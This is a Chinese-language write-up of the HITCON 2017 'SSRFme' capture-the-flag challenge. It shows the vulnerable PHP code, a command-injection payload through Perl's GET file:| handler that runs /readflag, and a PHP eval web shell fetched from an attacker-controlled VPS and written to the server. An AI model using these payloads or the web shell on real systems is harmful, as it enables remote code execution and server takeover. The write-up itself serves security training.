[HITCON 2017]SSRFme

前言:

SSRF好久没做过了,今天碰上了这题想着找找感觉,但真的做不出来啊,基础知识的储蓄真的太少了。这题代码不多,解题思路其实就围绕那几行代码。

文章目录

172.16.128.254 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);



pathinfo()

pathinfo(path,options) 函数以数组的形式返回关于文件路径的信息。

返回的数组元素如下:
[dirname]: 目录路径
[basename]: 文件名
[extension]: 文件后缀名
[filename]: 不包含后缀的文件名

按理来说应该传入一个完整路径的,[dirname]等于一个目录,basename([dirname])等于最后一级目录。
但当只传入一个文件名时,[dirname]等于当前目录!这就是差异的地方
[HITCON 2017]SSRFme
所以这题我们给$_GET[“filename”]传入一个文件名而不是路径形式的,就能在当前目录(沙盒目录)下创建文件,沙盒目录我们是清楚知道的。
通过 $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);即可得到


perl脚本GET的使用

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
作为小白的我看到这第一反应:这是什么???
后来看题解才知道这是有关perl脚本中GET的使用,有关GET的两个使用:

查询目录GET /
[HITCON 2017]SSRFme

查询文件:GET /root/2.txt
[HITCON 2017]SSRFme

回到本题,我们可以尝试GET /读取根目录

?url= /&filename=666.txt

访问一下:

/sandbox/fcf2bccafc269c160382150a0166d632/666

[HITCON 2017]SSRFme
看到flag再试试读取flag,很可惜是读到空白。但还有个readflag可执行文件,按照CTF题的套路就是要执行这个文件才会有flag!

readflag:是一个加了s权限的一个读flag的程序。

s权限: 设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份



open存在命令执行

GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理

open存在命令执行,并且还支持file函数

大佬们说:GET底层是调用open,open存在命令执行,这个命令执行是通过file函数实现的,简单实验一下:

GET file:|id
GET file:|cat /root/2.txt

[HITCON 2017]SSRFme
我们使用GET file:|id执行命令就得先满足id这个文件存在,原因涉及到底层的代码:(小白看不懂…)

ubuntu18.04 已经修复此漏洞

#第47行
    # test file exists and is readable
    unless (-e $path) {
    return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
                  "File `$path' does not exist");
    }
    unless (-r _) {
    return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
                  'User does not have read permission');
    }
...
#第127行
    # read the file
    if ($method ne "HEAD") {
    open(F, $path) or return new
        HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
               "Cannot read file '$path': $!");
    binmode(F);
    $response =  $self->collect($arg, $response, sub {
        my $content = "";
        my $bytes = sysread(F, $content, $size);
        return \$content if $bytes > 0;
        return \ "";
    });
    close(F);
    }
...

我们需要执行/readflag文件,因此要创建一个名为/readflag的文件:

?url=&filename=|/readflag

这样就创建了
接着利用配合file函数执行命令:

?url=file:|/readflag&filename=666

接着访问即可

访问VPS写下木马文件

看到feng师傅有个不一样的操作,而且感觉是更有意思的方式——上传木马文件
首先是GET模拟GET方式进行http的GET请求,且题目是会将请求结果写入的,有没有一种可能访问恶意的URL从而吧木马写下来呢?

我们先试试能不能 “上网” 先:发现是可以访问的,那么访问网站的恶意文件也是完全可行的了

?url=www.baidu.com&filename=111

[HITCON 2017]SSRFme
我们将一句话木马以一个不被解析的后缀放进服务器中(放到VPS中),这里往ma.txt中写入<?php eval($_POST[1]);?>
然后访问一下即可

?filename=ma.php&url=you-VPS/ma.txt

最后蚁剑连接一下,打开命令行执行/readflag
偷feng师傅的图,懒得自己连了
[HITCON 2017]SSRFme

总结:

  1. 学习到pathinfo() 这个函数是用于得到一个路径的相关信息,包括目录名称、文件名称、文件后缀、不包含后缀的文件名
  2. pathinfo() 如果传入的不是路径而是666.txt666这类的,处理得到的dirname是**当前目录
  3. perl语言下的GET,可以用来读文件与目录,但它也可以配合file()函数实现命令执行,前提是命令作为文件名已经存在
  4. 对于这种会进行GET请求的,还会将请求结果写入文件的题目,不妨尝试一下访问自己VPS上的木马文件
上一篇:容器技术介绍之docker核心技术概述


下一篇:Docker底层原理(图解+秒懂+史上最全)